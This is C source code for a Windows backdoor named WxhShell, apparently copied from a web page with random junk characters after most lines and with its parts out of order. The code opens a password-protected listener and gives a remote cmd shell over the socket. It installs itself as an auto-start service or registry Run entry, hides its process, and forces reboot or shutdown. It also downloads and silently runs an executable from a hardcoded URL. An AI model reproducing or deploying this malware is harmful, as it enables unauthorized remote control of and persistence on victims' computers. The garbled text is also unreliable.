    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z:W6@j-~  
    if(Boot(SHUTDOWN)) '5.n2 8W>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tgH@|Kg  
    else { bB'iK4  
    closesocket(wsh); [op!:K0  
    ExitThread(0); f8kPbpV,  
    } T>s~bIzL*e  
    break; 7udMF3;>  
    } tvynl;Y/  
  // 获取shell .t''(0_kC  
  case 's': { $-m@cObw!.  
    CmdShell(wsh); -;cZW.<  
    closesocket(wsh); e.jrX;;$!&  
    ExitThread(0); wl #Bv,xf  
    break; tM]~^U  
  } )#z c$D^U  
  // 退出 cq+|fg~Yy  
  case 'x': { 5*u0VabC<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6U6,Wu  
    CloseIt(wsh); Mfe/(tlI  
    break; c1M/:*?%  
    } [ !/u,  
  // 离开 .5'M^  
  case 'q': { v{ Md4 p  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sL|*0,#K  
    closesocket(wsh); ,\q9>cZ!  
    WSACleanup(); :@{(^}N8u  
    exit(1); ;<d("Yz:@Z  
    break; g-"@%ps  
        } HtB>#`'  
  } |uI d:^ {  
  } r$}M,! J  
=#dW^ ?p  
  // 提示信息 4;'o`K~*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y~#m-y  
} <7R\ #  
  } Z .VIb|  
8R"c}87  
  return; m`gH5vQa  
} awh<CmcZ  
OAO|HH  
// shell模块句柄 ;`',M6g  
int CmdShell(SOCKET sock) =B@+[b0Z  
{ reJw&t}Q  
STARTUPINFO si; ^.)oQo SE  
ZeroMemory(&si,sizeof(si)); d\dh"/_$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L#mf[a@pCn  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]:jP*0bLx  
PROCESS_INFORMATION ProcessInfo; p A7&  
char cmdline[]="cmd"; ;"46H'>!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); IHHL. gT  
  return 0; ekC 1wN l  
} _0dm?=  
&SuWmtq  
// 自身启动模式 wm~35cF(  
int StartFromService(void) =n .d'  
{ =vJ:R[Ilw  
typedef struct S?ELFq(g  
{ l =~EweuM  
  DWORD ExitStatus; =REMSe j  
  DWORD PebBaseAddress; lWr=79  
  DWORD AffinityMask; RQhS]y@e  
  DWORD BasePriority; F!.Z@y P  
  ULONG UniqueProcessId; ?D ?_D,"C  
  ULONG InheritedFromUniqueProcessId; ChzKwYDY  
}   PROCESS_BASIC_INFORMATION; 6BK-(>c(6  
0Cd )w4C  
PROCNTQSIP NtQueryInformationProcess; v,bCj6  
*YH5kX  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; & -L$B  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f_v@.vnn.  
e>z   
  HANDLE             hProcess; U4;r.#qw,  
  PROCESS_BASIC_INFORMATION pbi; L~9Q7 6w  
yu3: Hv}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); RlW0U-%u  
  if(NULL == hInst ) return 0; [`pp[J-~7  
Kz>bfq7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "LZQ1P*ef$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @p` *MWU  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); iQs^2z#Bd  
@GTkS!86  
  if (!NtQueryInformationProcess) return 0; tNpBRk(}  
LB9D6,*t  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rywui10x*  
  if(!hProcess) return 0; *Rm"3S  
N,kPR  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; k*XI/k5Vc  
M~'4>h}  
  CloseHandle(hProcess); V+`gkWe/  
6!F@?3qCyg  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); TOF_m$@#  
if(hProcess==NULL) return 0; uBpnfIe  
7\(m n$  
HMODULE hMod; RHO | g0  
char procName[255]; mQL8ec_c  
unsigned long cbNeeded; VZveNz@]r  
}-`N^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?X $#J'U;  
a ]~Rp  
  CloseHandle(hProcess);  ;IV  
/wAx#[c[  
if(strstr(procName,"services")) return 1; // 以服务启动 /%&Kbd  
A]<+Aq@{  
  return 0; // 注册表启动 .,({&L  
} }+mIP:T  
<O<Kf:i&c1  
// 主模块 T'i^yd }*v  
int StartWxhshell(LPSTR lpCmdLine) D;?cf+6$  
{ B'NtG84  
  SOCKET wsl; t+9[ki  
BOOL val=TRUE; |)TI&T;k  
  int port=0; M[eq)a$  
  struct sockaddr_in door; |ty?Ah,vb  
8-#_xsZ^;  
  if(wscfg.ws_autoins) Install(); rgo#mTQ_  
}xx"  
port=atoi(lpCmdLine); ]S  
DtEvt+h  
if(port<=0) port=wscfg.ws_port; y<9' 3\  
?.{SYaS  
  WSADATA data; `GDWy^-Q+!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }>93X0%r  
zG\& ZU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {UeS_O>(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,|}}Ml  
  door.sin_family = AF_INET; WHF[l1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); k`we_$/Gw  
  door.sin_port = htons(port); ~`Y!_'(x  
Bm>>-nG;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /]1$Soo  
closesocket(wsl); 9ZJn 8ki  
return 1; !k3 eUBF  
} Wg5<@=x!G  
B3^F $6=  
  if(listen(wsl,2) == INVALID_SOCKET) { "1P[D'HV4|  
closesocket(wsl); 42oW]b%P{;  
return 1; nmo<t]  
} u+7S/9q8  
  Wxhshell(wsl); <(Rbu2_  
  WSACleanup(); zi^?9n),  
@k-C>h()C  
return 0; !jQj1QZR`  
C ^IPddw>  
} Iwx~kvz\_(  
1a gNwFd~  
// 以NT服务方式启动 jd.{J{o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H*H~~yQ  
{ Qx")D?u  
DWORD   status = 0; !qu/m B  
  DWORD   specificError = 0xfffffff; eae`#>XP  
_|Uv7>}J^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !kxJ&VmeF  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]5O]=^ u0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q]{ `m  
  serviceStatus.dwWin32ExitCode     = 0; ;x|7"lE  
  serviceStatus.dwServiceSpecificExitCode = 0; U-*`I?~=4  
  serviceStatus.dwCheckPoint       = 0; y9Q #%a8V  
  serviceStatus.dwWaitHint       = 0; 41v#|%\w  
un F=";9H  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n \i ~H  
  if (hServiceStatusHandle==0) return; *t{^P*pc  
\1He9~6  
status = GetLastError(); r!<)CT}D  
  if (status!=NO_ERROR) F$j?}  
{ fi~jT"_CI  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6}cN7wnm j  
    serviceStatus.dwCheckPoint       = 0; |yinVfZ0C  
    serviceStatus.dwWaitHint       = 0; ge4QaK  
    serviceStatus.dwWin32ExitCode     = status; @tIY%;Bgk  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~@\sN+VS  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xaw ~Hh)  
    return; } *jmW P  
  } 0z$::p$%u  
M <nH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Xqy9D ZIn  
  serviceStatus.dwCheckPoint       = 0; qKD Nw8>  
  serviceStatus.dwWaitHint       = 0; N mA6L+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dw>1Ut{"3  
} Z8ds`KZM  
L.s$|%  
// 处理NT服务事件,比如:启动、停止 der\"?_.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /,,IM/(6^  
{ hLr\;Swyp  
switch(fdwControl) kQ`p\}7_  
{ - i#Kpf  
case SERVICE_CONTROL_STOP: ES\=MO5a7  
  serviceStatus.dwWin32ExitCode = 0; (nwp s  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; hb<cynY  
  serviceStatus.dwCheckPoint   = 0; "s.hO0Z  
  serviceStatus.dwWaitHint     = 0; hCb2<_3CR  
  { ?="?)t[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /PKu",Azj  
  } `^HK-t4q  
  return; g3 opN>W  
case SERVICE_CONTROL_PAUSE: \beYb0(+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; jN AS'JV  
  break; 1+#E|YWJ  
case SERVICE_CONTROL_CONTINUE: #}lWM%9Dy  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {kghZur  
  break; j}O7fLRu  
case SERVICE_CONTROL_INTERROGATE: 9&bJ]  
  break; d2?#&d'aq  
}; !;UoZ~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FeNNzV=  
} Kk).KgR  
"vX\Q rL  
// 标准应用程序主函数 _fccZf(yC.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^ib =fLu  
{ \hWac%#  
?=im  ~  
// 获取操作系统版本  [a_o3  
OsIsNt=GetOsVer(); IgN^~ag`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); X"sJiFS  
z%1& t4$  
  // 从命令行安装 +{#L,0t  
  if(strpbrk(lpCmdLine,"iI")) Install(); [V_+/[AA)  
k;Fxr%  
  // 下载执行文件 fDRG+/q(+  
if(wscfg.ws_downexe) { Tol"D2cyf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ME66BWg{  
  WinExec(wscfg.ws_filenam,SW_HIDE); (^"2"[?a  
} N@Q_5t0bk  
]_j= { 0%  
if(!OsIsNt) { B3<sSe8L0  
// 如果时win9x,隐藏进程并且设置为注册表启动 <Uc  
HideProc();  \EXa 9X2  
StartWxhshell(lpCmdLine); sDY+J(Z  
} 6OB3%R'p  
else I_ AFHrj  
  if(StartFromService()) [FZq'E"87  
  // 以服务方式启动 tAPf#7{|   
  StartServiceCtrlDispatcher(DispatchTable); iuA_ Jr  
else <kk!nsI  
  // 普通方式启动 1xr2x;  
  StartWxhshell(lpCmdLine); kE:{#>[Uz  
*I[tIO\  
return 0; .K]Uk/W  
} hV+=hX<h  
K)  Ums-b  
1IlOU|4  
B>4/[ YHr;  
=========================================== ]57yorc`  
l"7#(a  
Ss0I{0  
fv@<  
?\kuP ?\  
<xe_t=N  
" |+KwyHE`9  
[$F*R@,&  
#include <stdio.h> 1:r#m- \  
#include <string.h> h?H|)a<^9  
#include <windows.h> 1rS8+!9C  
#include <winsock2.h> CYlS8j  
#include <winsvc.h> p I~;3T:!  
#include <urlmon.h> -:kIIK   
z4~p(tl  
#pragma comment (lib, "Ws2_32.lib") Qm=iCZ|E^!  
#pragma comment (lib, "urlmon.lib") f7|Tp m  
&8Z .m,s]  
#define MAX_USER   100 // 最大客户端连接数 #G_'5{V  
#define BUF_SOCK   200 // sock buffer Rt:^'Qi$!  
#define KEY_BUFF   255 // 输入 buffer ~ivOSr7s}  
a6Joa&`dv  
#define REBOOT     0   // 重启 1 +Ue m  
#define SHUTDOWN   1   // 关机 k]^ya?O]p  
I~6 o<HO  
#define DEF_PORT   5000 // 监听端口 !Qf*d;wxn(  
Ndmw/ae  
#define REG_LEN     16   // 注册表键长度 +xgP&nw[-  
#define SVC_LEN     80   // NT服务名长度 RehraY3q  
($>m]|  
// 从dll定义API A2;6Vz=z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;4(}e{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); bdY:-8!3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `23][V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i(OeE"YA  
~@)s)K  
// wxhshell配置信息 o(H.1ESk  
struct WSCFG { 5KDCmw  
  int ws_port;         // 监听端口 IibYGF  
  char ws_passstr[REG_LEN]; // 口令 Zxhbnl6  
  int ws_autoins;       // 安装标记, 1=yes 0=no N'-[>w7vK2  
  char ws_regname[REG_LEN]; // 注册表键名 qE|syA9  
  char ws_svcname[REG_LEN]; // 服务名 0~K&P#iR  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 aL`wz !  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1q@R04i  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 sei2\l8q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no FUlhEH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3!osQ1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C\aHr!  
[0hahR  
}; #9Jr?K43  
W &:0J  
// default Wxhshell configuration 7 7y+ik  
struct WSCFG wscfg={DEF_PORT, Goc?HR  
    "xuhuanlingzhe", .)_2AoT7[  
    1, IM7<z,*oF  
    "Wxhshell", pf107S  
    "Wxhshell", E>f{j:M  
            "WxhShell Service", AFm9"mQrw  
    "Wrsky Windows CmdShell Service", \D(3~y>  
    "Please Input Your Password: ", fU?#^Lg  
  1, 9cUa@;*1  
  "http://www.wrsky.com/wxhshell.exe", i>]PW|]  
  "Wxhshell.exe" ""XAUxo  
    }; ,a,2I  
Nh_\{ &r  
// 消息定义模块 (XW'1@b  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; pjX=:K|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; CoNaGb  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1:<(Q2X%  
char *msg_ws_ext="\n\rExit."; DyCzRkH  
char *msg_ws_end="\n\rQuit."; LiV&47e*>  
char *msg_ws_boot="\n\rReboot..."; iB"ji4[z  
char *msg_ws_poff="\n\rShutdown..."; &Cv  
char *msg_ws_down="\n\rSave to "; DKu$u ]Z  
y.J>}[\&x  
char *msg_ws_err="\n\rErr!"; kY'Wf`y(  
char *msg_ws_ok="\n\rOK!"; L!zdrCM  
W dD889\  
char ExeFile[MAX_PATH]; .=TXi<8Brw  
int nUser = 0; r A(A$VR  
HANDLE handles[MAX_USER]; Zfcf?&><  
int OsIsNt; Xd5s8C/}  
LUId<We  
SERVICE_STATUS       serviceStatus; !cYID \}S,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (lVMy\  
P1T {5u!T  
// 函数声明 iiMS3ueF  
int Install(void); p\&/m  
int Uninstall(void); )!\6 "{  
int DownloadFile(char *sURL, SOCKET wsh); L;u5  
int Boot(int flag);  MiIxj%,(  
void HideProc(void); ;"x+V gS'  
int GetOsVer(void); ]6[+tpx  
int Wxhshell(SOCKET wsl); sdg2^]|  
void TalkWithClient(void *cs); RuIBOo\XL7  
int CmdShell(SOCKET sock); 1' U  
int StartFromService(void); cI@qt>&  
int StartWxhshell(LPSTR lpCmdLine); JJ ?'<)EF  
t_w\k_ T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S-q"'5>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); R|M]mwa^w  
CYgokS\=,  
// 数据结构和表定义 >Ti%Th,  
SERVICE_TABLE_ENTRY DispatchTable[] = @4T   
{ }7 +%k/  
{wscfg.ws_svcname, NTServiceMain}, x@Z{5w_a  
{NULL, NULL} !zF0 7.(E  
}; k}H7bZug  
T?m@`"L,  
// 自我安装 *>:phs~r{  
int Install(void) U\H[.qY-  
{ `| ?<KF164  
  char svExeFile[MAX_PATH]; 7$Z_'GJ]1C  
  HKEY key; ub-e!{  
  strcpy(svExeFile,ExeFile); )MF@'zRK  
LdG?kbJ&y  
// 如果是win9x系统,修改注册表设为自启动 l3>e-kP  
if(!OsIsNt) { .Iqqjk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { aYT!xdCI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YR-G:-(#b  
  RegCloseKey(key); SA}Dkt&,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vw;a L#PP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vLHn4>J,R  
  RegCloseKey(key); ZH;4e<gg  
  return 0; U@y)x+:  
    } %K|f,w=m  
  } \{:A&X~\!  
} %'s_ =r`  
else { #J&3Zds  
SR?mSpq5  
// 如果是NT以上系统,安装为系统服务  yP+<kv4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); GkI'.  
if (schSCManager!=0) ^rO"U[To  
{ C{85#`z`  
  SC_HANDLE schService = CreateService 8Lx/ZGy  
  ( zY:3*DiM  
  schSCManager, c.Hw K\IU  
  wscfg.ws_svcname, 6_KvS  
  wscfg.ws_svcdisp, zu{K"7Bx  
  SERVICE_ALL_ACCESS, k-=lt \?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4x[_lsj   
  SERVICE_AUTO_START, y*+8Z&i.:  
  SERVICE_ERROR_NORMAL, FqA4 O U  
  svExeFile, V sl,u  
  NULL, A/I\MN|  
  NULL, s=(q#Z  
  NULL, A1+:y,wXs  
  NULL, HP]5"ziA  
  NULL AJEbiP  
  ); -_t4A *  
  if (schService!=0) L5I!YP#v  
  { Jk>vn+q8P^  
  CloseServiceHandle(schService); U[x$QG6m!  
  CloseServiceHandle(schSCManager); yPtE5"(o  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); we`BqZV  
  strcat(svExeFile,wscfg.ws_svcname); 56<UxIa~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { E7iAN\vo  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M{G}-QK_.  
  RegCloseKey(key); A_S7z*T  
  return 0; 2sIt~ Gn  
    } GxD`M2  
  } __ 9FQ{Ra  
  CloseServiceHandle(schSCManager); aUEr& $  
} fub04x)  
} r6uN6XCM  
MZQDFuvDxZ  
return 1; G7"(,L` 5  
} \;~Nj#  
3JQ7Cc>  
// 自我卸载 2kVZlt'y  
int Uninstall(void) %P s.r{%{  
{ ,M{G X  
  HKEY key; o0`']-)*2  
/A,w{09G  
if(!OsIsNt) { !xck ~EAS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |3e+ K.  
  RegDeleteValue(key,wscfg.ws_regname); o|h=M/  
  RegCloseKey(key); ^PNDxtd|v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K9Mz4K_  
  RegDeleteValue(key,wscfg.ws_regname); O$6&4p*F.  
  RegCloseKey(key); vq(#Ih2  
  return 0; |E?r+]  
  } ph5{i2U0  
} ;]grbqXVE  
} :5CyR3P  
else { R`<2DC>h9  
Up?RN%gq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); tE=09J%z  
if (schSCManager!=0) pTq DPU  
{ 2T+-[}*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  4t(/F`  
  if (schService!=0) .o`Io[io  
  { o+=wQ$"tP  
  if(DeleteService(schService)!=0) { WC<[<uI*  
  CloseServiceHandle(schService); SZe55mK`  
  CloseServiceHandle(schSCManager); K\9CW%W  
  return 0; I9G^T' W  
  } .8s-)I  
  CloseServiceHandle(schService); 1}la)lC  
  } Y}R$RDRL  
  CloseServiceHandle(schSCManager); 8Y`g$2SZ^8  
} axUj3J>  
} g=nb-A{#  
G-)e(u   
return 1; b/a\{  
} q]OIP"yv  
I{dy,\p  
// 从指定url下载文件 082iE G  
int DownloadFile(char *sURL, SOCKET wsh) .5a>!B.I  
{ WlQCPC  
  HRESULT hr; %:`v.AG  
char seps[]= "/"; !0?o3,of-  
char *token; BM?!?  
char *file; ,L-/7}"VHA  
char myURL[MAX_PATH]; 50 Gr\  
char myFILE[MAX_PATH]; &P9fM-]b s  
!gW`xVGv  
strcpy(myURL,sURL); QG?!XWz  
  token=strtok(myURL,seps); %z@ Z^Jv  
  while(token!=NULL) @-[}pZ/  
  { s9sl*1n1m`  
    file=token; nu+K N,3R"  
  token=strtok(NULL,seps); C lf;+G0  
  } a~ jb%i_  
lfDd%.:q4S  
GetCurrentDirectory(MAX_PATH,myFILE); GalSqtbmDt  
strcat(myFILE, "\\"); {Ia1H  
strcat(myFILE, file); VnW6$W?g  
  send(wsh,myFILE,strlen(myFILE),0); ~{lb`M^]h  
send(wsh,"...",3,0); jw{N#QDh  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4!{lySW  
  if(hr==S_OK) 9dA+#;?  
return 0; %" bI2  
else 6 agG*x  
return 1; J@/4CSCR]  
$,by!w'e:l  
} lgiKNZgB?  
G3TS?u8Q  
// 系统电源模块 UAXp;W`  
int Boot(int flag) `{{6vb^g  
{ J8S$YRZ_  
  HANDLE hToken; &T,,fz$  
  TOKEN_PRIVILEGES tkp; ,V 52Fj  
<jJ'T?,  
  if(OsIsNt) { QxW+|Gt._  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [?7QmZK  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4dFr~ {  
    tkp.PrivilegeCount = 1; #1$4<o#M  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A)9]^@,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); n+sv2Wv:  
if(flag==REBOOT) { L^t%p1R  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /~'C!so[v  
  return 0; 1W >/4l  
} 1(Vv-bq$  
else { MV$E_@pg  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) XlF,_  
  return 0; l[[`-f8j  
} " J9  
  } d)uuA;n  
  else { ! N2uJ?t  
if(flag==REBOOT) { yT OZa-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  m,+PYq  
  return 0; rR@]`@9  
} IIY_Q9in  
else { "vybVWEE  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #\X)|p2  
  return 0; Jm CHwyUK?  
} =Ks&m4  
} DDmC3  
d4IQ;u  
return 1; axC{azo|  
} #0r^<Yn  
LI}e_= E  
// win9x进程隐藏模块 gnN>Rl 5_  
void HideProc(void) hb*Y-$Zp  
{ c$[2tZ  
]g$ky.;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I52nQCXi  
  if ( hKernel != NULL ) E!}'cxb^  
  { ?& :N|cltD  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [p'2#Et  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +e8>?dkq  
    FreeLibrary(hKernel); loUl$X.u  
  } yD"0=\  
H[7cA9FI  
return; 1.0!H.>q  
} #xP!!.DF(  
uB <F.!3  
// 获取操作系统版本 WTD49_px  
int GetOsVer(void) /Fo/_=FE2  
{ 3U~lI&  
  OSVERSIONINFO winfo; >GznG[Ku  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lg onR  
  GetVersionEx(&winfo); ft/^4QcyAM  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _rMT{q3  
  return 1; j:e^7|.   
  else _MdZDhtm  
  return 0; a}Fk x  
} &oeN#5Es8C  
U$A7EFK'  
// 客户端句柄模块 2b#(X'ob  
int Wxhshell(SOCKET wsl) Itr7lv'5xx  
{ ;>Ca(Y2M  
  SOCKET wsh; >WGP{  
  struct sockaddr_in client; O*rmD<L$  
  DWORD myID; Aa`MK$29F  
/:y2Up-  
  while(nUser<MAX_USER) MxgLzt Y  
{ !b7'>b'J<1  
  int nSize=sizeof(client); !)%>AH'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o'eI(@{F=  
  if(wsh==INVALID_SOCKET) return 1; ~y)bYG!G  
?]W~ qgA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G*(K UG>  
if(handles[nUser]==0) fQQsb 5=i  
  closesocket(wsh); M 20Bc,VI  
else NuD[-;N]  
  nUser++; Vm~qk  
  } W`N}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); x[vBK8  
z+k=|RMau  
  return 0; ;v1NL@w*  
} m4"N+_j  
6QII&Fg  
// 关闭 socket RVkU+7  
void CloseIt(SOCKET wsh) ';b3Mm #  
{ M ?Ndy*]  
closesocket(wsh); >I4p9y(u  
nUser--; `S\zqF<  
ExitThread(0); PUP"ky^q"  
} P{S\pWZkk  
ou'~{-_xd  
// 客户端请求句柄 NfTCp A  
void TalkWithClient(void *cs) Dn_"B0$lk  
{ eyT>wma0  
FjZc#\^9  
  SOCKET wsh=(SOCKET)cs; W|25t)cJ8h  
  char pwd[SVC_LEN]; :xFu_%7  
  char cmd[KEY_BUFF]; w; 4jx(  
char chr[1]; @~k5+Z  
int i,j; :K~rvv\L7  
iuC7Y|  
  while (nUser < MAX_USER) { i<T P:  
&~~aAg  
if(wscfg.ws_passstr) { fB~O |g  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UvxSMD:A  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'qL5$zG  
  //ZeroMemory(pwd,KEY_BUFF); +VCo$o  
      i=0; VEj$^bpp5s  
  while(i<SVC_LEN) { N] 14  
F{k$Atb?g/  
  // 设置超时 ;} lT  
  fd_set FdRead; G'f9N^w  
  struct timeval TimeOut; MA\m[h]  
  FD_ZERO(&FdRead); S&4+ e:K  
  FD_SET(wsh,&FdRead); A8pj~I/*-  
  TimeOut.tv_sec=8; e74zR6  
  TimeOut.tv_usec=0; $Y6I_U  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l|YT[LR7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); mZ~qG5@/F  
v6s\Z\v)Q`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B |5]Jm]  
  pwd=chr[0]; _F4Ii-6  
  if(chr[0]==0xd || chr[0]==0xa) { WEw6He;  
  pwd=0; ntu5{L'8  
  break; ADz ^\  
  } *1ilkmL%  
  i++; `vU%*g&R  
    } @#l `iK  
`jDTzhO~  
  // 如果是非法用户,关闭 socket w VvF^VHV^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [xK3F+  
} ;d@#XIS&-(  
P:hBt\5B  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); aE Bu *`-j  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZAW^/bo<  
{yBs7[Wn  
while(1) { 3RigzT3  
cF\;_0u  
  ZeroMemory(cmd,KEY_BUFF); k6;?)~.  
O+nEXS\rQ  
      // 自动支持客户端 telnet标准   <!&[4-;fU  
  j=0; u^^vB\"^  
  while(j<KEY_BUFF) { ~Sdb_EZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^dI424  
  cmd[j]=chr[0]; <KJ/<0l  
  if(chr[0]==0xa || chr[0]==0xd) { el&0}`K  
  cmd[j]=0; gl~ecc  
  break; l?\jB\,  
  } <h!_>:2L  
  j++; :>rkG?NfL  
    } $1SPy|y  
q?Cnav`DY  
  // 下载文件 n#cC+>*>+  
  if(strstr(cmd,"http://")) { ww)<E`eGi  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); , xw#NG6  
  if(DownloadFile(cmd,wsh)) 2ElJbN#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~]nRV *^  
  else xn?a. 3b'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d}Xr}  
  } ay4 %  
  else { hl;u'_AB  
2_)\a(.Qu  
